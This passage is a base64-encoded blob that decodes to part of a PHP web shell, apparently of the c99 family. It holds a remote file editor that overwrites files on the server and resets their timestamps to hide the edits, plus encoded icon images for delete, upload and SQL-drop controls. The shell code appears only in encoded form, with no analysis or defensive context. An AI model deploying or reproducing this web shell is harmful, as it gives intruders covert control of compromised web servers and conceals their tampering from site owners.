ZWxzZQ0KICAgew0KICAgIEBvYl9jbGVhbigpOw0KICAgICRleHQgPSBleHBsb2RlKCRmLCIuIik7DQogICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07DQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsNCiAgICByZWFkZmlsZSgkZC4kZik7DQogICAgZXhpdDsNCiAgIH0NCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiZWRpdCIpDQogIHsNCiAgIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogICB7DQogICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkZC4kZik7fQ0KICAgICRmcCA9IGZvcGVuKCRkLiRmLCJ3Iik7DQogICAgaWYgKCEkZnApIHtlY2hvICI8Yj5DYW4ndCB3cml0ZSB0byBmaWxlITwvYj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICBlY2hvICI8Yj5TYXZlZCE8L2I+IjsNCiAgICAgZndyaXRlKCRmcCwkZWRpdF90ZXh0KTsNCiAgICAgZmNsb3NlKCRmcCk7DQogICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkZC4kZiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAkciA9ICRlZGl0X3RleHQ7DQogICAgfQ0KICAgfQ0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcikpOw0KICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgIGlmICgkcm93cyA+IDMwKSB7JHJvd3MgPSAzMDt9DQogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4iYWN0PWxzJmQ9Ii5zdWJzdHIoJGQsMCwtMSkpLiInO1wiIHZhbHVlPVwiQmFja1wiPjxicj48dGV4dGFyZWEgbmFtZT1cImVkaXRfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsNCiAgfQ0KICBlbHNlaWYgKCFlbXB0eSgkZnQpKSB7ZWNobyAiPGNlbnRlcj48Yj5NYW51YWxseSBzZWxlY3RlZCB0eXBlIGlzIGluY29ycmVjdC4gSWYgeW91IHRoaW5rLCBpdCBpcyBtaXN0YWtlLCBwbGVhc2Ugc2VuZCB1cyB1cmwgYW5kIGR1bXAgb2YgXCRHTE9CQUxTLjwvYj48L2NlbnRlcj4iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5Vbmtub3duIGV4dGVuc2lvbiAoIi4kZXh0LiIpLCBwbGVhc2UsIHNlbGVjdCB0eXBlIG1hbnVhbGx5LjwvYj48L2NlbnRlcj4iO30NCiB9DQp9DQp9DQplbHNlDQp7DQogQG9iX2NsZWFuKCk7DQogJGltYWdlcyA9IGFycmF5KA0KImFycm93X2x0ciI9Pg0KIlIwbEdPRGxoSmdBV0FJQUFBQUFBQVAvLy95SDVCQVVVQUFFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1EiLg0KIlNJclVaR1pvZXJLZjI4S2pQTlBPYWt1NVJmWit1UXNLaDhSaW9nQUFPdz09IiwNCiJiYWNrIj0+DQoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFBQUFBQVVBQlFBQUFNOCIuDQoiYUxyYy9qREtTV1dwalZ5c1NOaVlKNENVT0JKb3FqbmlJTHp3dXpMdFlOLzN6QlNFcmY2a0JXK2dLUmlQUmdoUGgrRUZLMG1PVUVxdCIuDQoiV2cwSkFEcz0iLA0KImJ1ZmZlciI9Pg0KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy8vajQrTjNkM2N6TXpMS3lzb2FHaHYvLy95SDVCQUVBQUFjQUxBQUFBQUFVQUJRQUFBTm8iLg0KImVMcmNyaWJHOTB5NEYxQW11NStOaFkya3hsMkNNS3dyUVJTR3VWanA0TG13REFXcWlBR0ZYQ2hnK3hoblJCK3B0TE9oYWkxY3JFbUQiLg0KIkRsd3Y0Y0VDNDZtaTJZZ0pRS2F4c0VHREZubkd3V0RURXpqOWpyUFJkYmh1RzhDci8ySU5aSU9FaFhzYkR3a0FPdz09IiwNCiJjaGFuZ2UiPT4NCiJSMGxHT0RsaEZBQVVBTVFmQUwzaGo3blgrcHFvMWVqeS9mN1lBY1RiKzh2aCs2RnRINTZXWnR2ci9SQVFFWmVjeDlMbC9QWDYvdjMrIi4NCiIvM2VIdDZxODhlSHUvWmtmSDN5VnlJdVF0KzcyL2tPbTk5Zm8vUDhBWm01N3JrR1M0SGV6NnBpbDlvZXAzR1ptWnYvLy95SDVCQUVBIi4NCiJBQjhBTEFBQUFBQVVBQlFBQUFXZjRDZU9aR21lNk5tdExPdWxYK2M0VFZOVlE3ZTlxRnpmZzRIRm9ua2RKQTVTNTRjYlJBb0Z5RU9DIi4NCiJ3U2lVdG1Za2tyZ3dPQWVBNXpycWFMbGRCaU5NSUplRDI2NlhZVGdRRG01Ung4bWRHK29BYlNZZGFINEdhM2M4SkJNSmFYUUdCUWdBIi4NCiJDSGtqRTRhUWtRMEFsU0lUYW4rWkFRcWtpaVFQajFBRkFhTUtFS1lqRDM5UXJLd0tBYThuR1FLOEFndS9DeFRDc0NNZXhzZkl4akRMIi4NCiJ6TXNoQURzPSIsDQoiZGVsZXRlIj0+DQoiUjBsR09EbGhGQUFVQU9aWkFQejgvTlBGeU5nSExzMFlPdlB6OC9iMjlzYWNwTlhWMWZYMTljd1hPZkR3OEtlbnAvbjUrZXRnZXVucCIuDQoiNmRjR0xNTXBSdXJxNnBLU2t0dmIyKy92Nysxd2gzUjBkUG5QMTdpQWlweHllbDlmWDdkamNzY1NNOTNkM1pHUmtlRXNUZXZkNExDdyIuDQoic0dSa1pHcE9VK0lmUStFUU5vaDZmZEljUGVIaDRZV0ZoYkpRWXZMeTh1aSt4bTV1YnN4Y2NPeDhrY000VXRZOVdlQWRRWW1KaWZXdiIuDQoidkh4OGZNbkp5Y00zVWYzdjhyUnVlOThPTmJPenM5WUZLNVNVbEtZb1ArVGs1TjBvU3VmbjU3WkdXc1FyUjlrSUw1Q1FrT1BqNDJWbCIuDQoiWmVBUE51ZEFYOXNLTVB2NysxNVFVNXVibTM5L2Y4ZTV1NHhpYXRyYTJ1Ykt6OFBEdytwZmVlOS9sTUswdDgxcmZkOEFLZi8vL3dBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINSIuDQoiQkFFQUFGa0FMQUFBQUFBVUFCUUFBQWVzZ0ZtQ2c0U0Zob2VJaGlVZklJbUlNbGdRQjQ2R0xBbFlRa2FGVlZoU0FJWkxUNWNiRVlJNCIuDQoiU1RvNU14T2ZoUXdCQTFnWUNoY2tRQmsxT3dpSUFMQUNMa2d4SmlsVEJJNjlSRmhERmg0SERKUlpWRmdQUEZCUjBGa05XRGRNSEE4RyIuDQoiQlpUYU1DSVNWZ01DNElrVldDY2FQU2k5Nk9xR05GaEtJMDRkZ3IwUVdGY0tETDNBNHVPSWpWWlpBQnhRSVdEQkxrSUVRclJvUXNIUSIuDQoiandWRkhCZ2lFR1FGSWdRYXNZa2NTYkpRSUFBNyIsDQoiZG93bmxvYWQiPT4NCiJSMGxHT0RsaEZBQVVBTE1JQUFEL0FBQ0FBSUFBQU1EQXdIOS9mLzhBQVAvLy93QUFBUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVVBQlFBQUFST0VNbEpxNzA0VXlHT3ZrTGhmVlU0a3BPSlNweDVuRjlZaUN0TGYwU3VIN3B1Ii4NCiJFWU9nY0Jna3dBaUdwSEtaekIySnhBREFTUUZDaWRRSnNNZmRHcXNESm5PUWxYVFAzOHByeldiWDNxZ0lBRHM9IiwNCiJmb3J3YXJkIj0+DQoiUjBsR09EbGhGQUFVQVBJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFBQUFBQVVBQlFBQUFNOCIuDQoiYUxyYy9qREsyUXA5eFY1V2lONUc1MEZaYVJMRDZJaEU2NkxwdDNSRGJkOUNRRlNFNFArK1FXN0hlN1VLUGgwSXFWdzJsMFJRU0VxdCIuDQoiV3FzSkFEcz0iLA0KImhvbWUiPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TEt5c29hR2htWm1aZ1FFQlAvLy93QUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWtBTEFBQUFBQVVBQlFBQUFSK01NazVUVFdJNmlweU1vTzNjVVdSZ2VKb0NDYUxvS08wbXEwWnhqTlNCRFdTIi4NCiJrcnFBc0xmSjdZUUJsNHRpUkNZRlNwUE1kUlJDb1FPaUw0aThDZ1pnazA5V2ZXTEJZWkhCNlVXakNlcXV3RURIdU9FVkszUXRnTi9qIi4NCiJWd01yQkRadmdGK0NoSGFHZVlpQ0JRWUhDSDhWQkphV2RBZVNsNVlpVzUrZ29CSVJBRHM9IiwNCiJtb2RlIj0+DQoiUjBsR09EbGhIUUFVQUxNQUFBQUFBUC8vLzZDZ3BOM2QzY3pNeklhR2htWm1abDlmWC8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFkQUJRQUFBU0JFTWxKcTcwNDYxbTYvK0FIWk1VZ25HaXFuaU5XSEhBc3ozRjdGVUd1NzN4TyIuDQoiMkJaY3dHRG9FWGsvVXE0SUNBQ2VRNmZ6bVhUbG5zMGRkbGU5OWI3Y0Z2WXBFUjU1WjEwWHkxbEt0OHdwb0lzQUNyZGFxQnBZRVlLLyIuDQoiZEgxTFJXaUVlMHBSVFhCdlZId1VkM282ZUQ2T0hBU1htSm1hbUpVU1k1K2dueHVqcEJJUkFEcz0iLA0KInJlZnJlc2giPT4NCiJSMGxHT0RsaEVRQVVBTE1BQUFBQUFQLy8vL0h4OGVycTZ1UGo0OTNkM2N6TXpMS3lzb2FHaG1abVpsOWZYd1FFQlAvLy93QUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQXdBTEFBQUFBQVJBQlFBQUFSMWtNbEpxMFE0NjB4UitHQW9JTXZraGVJWWxNeUpCa0o4bG02WXhNS2k2eldZIi4NCiIzQUtDWWJqby9ZNEVRcUZnS0lZVWg4RXZ1V1E2UHdQRlFKcFVMcHVuclhaTHJZS3gyMEczb0RBNzA5M0VzdjE5cTVPL3dvRnU5WkFKIi4NCiJSM2x1Zm1XQ1ZYMTNoM0tIZldXTWpHQkRrcE9VVFR1WG1KZ1JBRHM9IiwNCiJzZWFyY2giPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TURBd0xLeXNvYUdobmQzZDJabVpsOWZYMDFOVFNrcEtRUUVCUC8vIi4NCiIvd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwIi4NCiJzNUlLUWNjejhYZ0s0RUdnUXFXTXZrclNzY3lsaG9hRlZtdVpMZ1VEQW5aeEVCTU9EU25ya2hpU0NaNENHclVXTUErTExEeHVTSHNEIi4NCiJBa040QzNzZkJYMTBWSGFCSjRRZkE0ZUlVNHBpalFjRm1DVm9Oa0ZsZ2djTVJTY05TVUNkSnlob0Rhc05aNU1URFZzWEJ3bHZpUm1yIi4NCiJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIsDQoic2V0dXAiPT4NCiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4NCiJRaHdjSFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkFBTEFBQUFBQVVBQlFBQUFXVklDU0tpa0tXYURtdVNoQ1VianpNd0VvR2hWdnNmSEVFTlJZT2dlZ2xqa2VnMFBGNEtCSUZSTUlCIi4NCiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4NCiJPd2NNWm9aMGtKS1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0iLA0KInNtYWxsX2RpciI9Pg0KIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLg0KIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9IiwNCiJzbWFsbF91bmsiPT4NCiJSMGxHT0RsaEVBQVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFJZXAzQkU5bWxsaWMzQjVpVnBqZE12aC9NTGMreTFVIi4NCiJwOVBtL0dWdWZjN2ovTXpWLzlYbS9FT205OWJuL05qcC9hN1ErdFRtL0xIUytlWHcvdDNyL05ucC9kam8vTnJxL2ZqNy85dnEvTmZvIi4NCiIvTWJlKzhyaC9NbmcrN2pXK3J2WStyN1orN1hSOWREay9OSGsvTkxsL0xUVStyblgrOHppL0xiVisrZngvZTcyL3ZIMy92TDQvdTMxIi4NCiIvZTMxL3VEdS9kenIvT3J6L2VIdS9mWDYvdkg0L3YvLy8vdisvM2V6NnZmNy8vVDUva0dTNFB2OS83WFYrckhUK3IvYityemErdlA0Ii4NCiIvdXowL3Vyei91NzEvdXZ6L2RUbi9NL2svTjNzL2R2ci9jamcrOFBkKzhIYytzZmYrOFRlKy9EMi9yWEk4ckhGOGJyTTg3Zko4bm1QIi4NCiJ3cjNOODYvRDhLdkI4RjluZUVGb3RFQm50RU5wdEVOcHRTeFVweDFJb0RsZnJUUmNyWmVleVphY3hwbWh6SXVSdHBXWnhJdU91S3F6Ii4NCiI5Wk9Xd1g2SXMzV0l1NWltMDdySjlKMnQyWmVrMG01N3JwcW8xbktDdFVWcnRZaXIzdmY2LzQ2djRZdXU0V1p2ZnI3UDZzUFM2c0RRIi4NCiI2NlhCNmNqWjhhL0s3OS9zL2Ribi9lenovY3pkOW1OMGpLVEI2YWkvNzZXOTduaVh6MkdDd1Y2QXdVZHN0WHlWeUdTRHdubVl6NGlvIi4NCiIyNE9pMWEzQjQ1U3k0YWU5NDRDY3o0U2oxbjJHbGdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQWpuQUN0VkNrQ3c0SnhKQVFRcUZCakF4bzBNTkdxc0FCUUFoNkNGQTNuazBNSGlSUkVWRGh6c29MUXdBSjBnVDRUb2VjU0hBWU16Ii4NCiJhUWdvRE5DQ1NCNEVBbkltQ2lTQmpVeUdMb2JnWEJUcGtBQTVJNnBnbVNrRHo1Y3VNU3o4eVdsQXlvQ1pGR2I0U1FLaEFTTUJYSnBNIi4NCiJ1U3JRRVF3a0dqWWtRQ1RBeTZBbFVNaFdrbFFCdzRNRWhnU0E2WFBnUnhTNWlpNDBLTEZnaTRCR1RFS0FzQ0tYaWhFU0N6cnNnU1FDIi4NCiJ5SWtVVitTcU9ZTENBNGNzQXVwODZPR0RrTnc0QnBRNE9hQkZnQjBURXlJVUtxRHdUUnM0YTl5TUNTT21EQm95WnU0c0pLQ2d3SURqIi4NCiJ5QXNva0JrUUFEcz0iLA0KIm11bHRpcGFnZSI9PiJSMGxHT0RsaENnQU1BSkVEQVAvLy8vLzNtUUFBQUFBQUFDSDVCQUVBQUFNQUxBQUFBQUFLQUF3QUFBSWozSVIiLg0KInBKaENPRG5vdmlkQW92QmRNenpraXhsWGRsSTJvWnBKV0VzU3l3THpSVUFBQU93PT0iLA0KInNvcnRfYXNjIj0+DQoiUjBsR09EbGhEZ0FKQUtJQUFBQUFBUC8vLzlUUXlJQ0FnUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQU9BQWtBQUFNYSIuDQoiU0xyY1BjRTlHS1VhUWxRNXNONVBsb0ZMSjM1T29LNnE1U1lBT3c9PSIsDQoic29ydF9kZXNjIj0+DQoiUjBsR09EbGhEZ0FKQUtJQUFBQUFBUC8vLzlUUXlJQ0FnUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQU9BQWtBQUFNYiIuDQoiU0xyY09qQkNCNFVWSVRneUx0NWNoMm1nU0paREJpN3A2aElKQURzPSIsDQoic3FsX2J1dHRvbl9kcm9wIj0+DQoiUjBsR09EbGhDUUFMQVBjQUFBQUFBSUFBQUFDQUFJQ0FBQUFBZ0lBQWdBQ0FnSUNBZ01EQXdQOEFBQUQvQVAvL0FBQUEvLzhBL3dELyIuDQoiLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpNd0F6WmdBem1RQXp6QUF6L3dCbSIuDQoiQUFCbU13Qm1aZ0JtbVFCbXpBQm0vd0NaQUFDWk13Q1paZ0NabVFDWnpBQ1ovd0RNQUFETU13RE1aZ0RNbVFETXpBRE0vd0QvQUFELyIuDQoiTXdEL1pnRC9tUUQvekFELy96TUFBRE1BTXpNQVpqTUFtVE1BekRNQS96TXpBRE16TXpNelpqTXptVE16ekRNei96Tm1BRE5tTXpObSIuDQoiWmpObW1UTm16RE5tL3pPWkFET1pNek9aWmpPWm1UT1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16RFBNL3pQL0FEUC9NelAvWmpQLyIuDQoibVRQL3pEUC8vMllBQUdZQU0yWUFabVlBbVdZQXpHWUEvMll6QUdZek0yWXpabVl6bVdZenpHWXovMlptQUdabU0yWm1abVptbVdabSIuDQoiekdabS8yYVpBR2FaTTJhWlptYVptV2FaekdhWi8yYk1BR2JNTTJiTVptYk1tV2JNekdiTS8yYi9BR2IvTTJiL1ptYi9tV2IvekdiLyIuDQoiLzVrQUFKa0FNNWtBWnBrQW1aa0F6SmtBLzVrekFKa3pNNWt6WnBrem1aa3p6Smt6LzVsbUFKbG1NNWxtWnBsbW1abG16SmxtLzVtWiIuDQoiQUptWk01bVpacG1abVptWnpKbVovNW5NQUpuTU01bk1acG5NbVpuTXpKbk0vNW4vQUpuL001bi9acG4vbVpuL3pKbi8vOHdBQU13QSIuDQoiTTh3QVpzd0FtY3dBek13QS84d3pBTXd6TTh3elpzd3ptY3d6ek13ei84eG1BTXhtTTh4bVpzeG1tY3htek14bS84eVpBTXlaTTh5WiIuDQoiWnN5Wm1jeVp6TXlaLzh6TUFNek1NOHpNWnN6TW1jek16TXpNLzh6L0FNei9NOHovWnN6L21jei96TXovLy84QUFQOEFNLzhBWnY4QSIuDQoibWY4QXpQOEEvLzh6QVA4ek0vOHpadjh6bWY4enpQOHovLzltQVA5bU0vOW1adjltbWY5bXpQOW0vLytaQVArWk0vK1paditabWYrWiIuDQoielArWi8vL01BUC9NTS8vTVp2L01tZi9NelAvTS8vLy9BUC8vTS8vL1p2Ly9tZi8velAvLy95SDVCQUVBQUJBQUxBQUFBQUFKQUFzQSIuDQoiQUFnNEFQOEpSRUZRNEQrQ0NCT2k0TWF3SVRlRkNnL2lRaEVQeGNTQmxGQ29RNUZ4NE1TS3YxQmdSR0dNbzBpSkZDMmVoSGpTb010LyIuDQoiQVFFQU93PT0iLA0KInNxbF9idXR0b25fZW1wdHkiPT4NCiJSMGxHT0RsaENRQUtBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4NCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4NCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4NCiJNd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpNQW1UTUF6RE1BL3pNekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tIi4NCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4NCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4NCiJ6R1ptLzJhWkFHYVpNMmFaWm1hWm1XYVp6R2FaLzJiTUFHYk1NMmJNWm1iTW1XYk16R2JNLzJiL0FHYi9NMmIvWm1iL21XYi96R2IvIi4NCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4NCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4NCiJNOHdBWnN3QW1jd0F6TXdBLzh3ekFNd3pNOHd6WnN3em1jd3p6TXd6Lzh4bUFNeG1NOHhtWnN4bW1jeG16TXhtLzh5WkFNeVpNOHlaIi4NCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4NCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4NCiJ6UCtaLy8vTUFQL01NLy9NWnYvTW1mL016UC9NLy8vL0FQLy9NLy8vWnYvL21mLy96UC8vL3lINUJBRUFBQkFBTEFBQUFBQUpBQW9BIi4NCiJBQWdqQVA4SlJFRlE0RCtDQ0JPaU1NaFFvY0tERUJjdWpFaVJvc1NCRmpGZW5PaHdZVUFBT3c9PSIsDQoic3FsX2J1dHRvbl9pbnNlcnQiPT4NCiJSMGxHT0RsaERRQU1BUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4NCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4NCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4NCiJNd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpNQW1UTUF6RE1BL3pNekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tIi4NCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4NCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4NCiJ6R1ptLzJhWkFHYVpNMmFaWm1hWm1XYVp6R2FaLzJiTUFHYk1NMmJNWm1iTW1XYk16R2JNLzJiL0FHYi9NMmIvWm1iL21XYi96R2IvIi4NCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4NCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4NCiJNOHdBWnN3QW1jd0F6TXdBLzh3ekFNd3pNOHd6WnN3em1jd3p6TXd6Lzh4bUFNeG1NOHhtWnN4bW1jeG16TXhtLzh5WkFNeVpNOHlaIi4NCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4NCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4NCiJ6UCtaLy8vTUFQL01NLy9NWnYvTW1mL016UC9NLy8vL0FQLy9NLy8vWnYvL21mLy96UC8vL3lINUJBRUFBQkFBTEFBQUFBQU5BQXdBIi4NCiJBQWd6QUZFSUhFaXdvTUdEQ0JINlcwZ3RvVUIvLzFCRU5PaVAyc0tFQ3pOZU5JaXFZMGQvRkJmK3kwalI0OGVRR1VjNkpCZ1FBRHM9IiwNCiJ1cCI9Pg0KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8vajQrT1BqNDkzZDNjek16TEt5c29hR2hrMU5UZi8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIwTU1sSnE3MzRuczFQbmtjZ2pnWHdoY05RcklWaG1Gb256eHdRam5pZTI3amciLg0KIis0UWd5M1hnQlg0SW9IRGxNaFJ2Z2dGaUdpU3dXczVYeURmdFdwbEVKKzlIUUN5eDJjMVlFRFJmd3dmeHRvcDRwNTNQd0xLT2p2dlYiLg0KIklYdGRnd2dkUEdkWWZuZzFJVmVKYVRJQWtwT1VsWllmSHhFQU93PT0iLA0KIndyaXRlIj0+DQoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLzkzZDNjek16TEt5c29hR2htWm1abDlmWHdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUj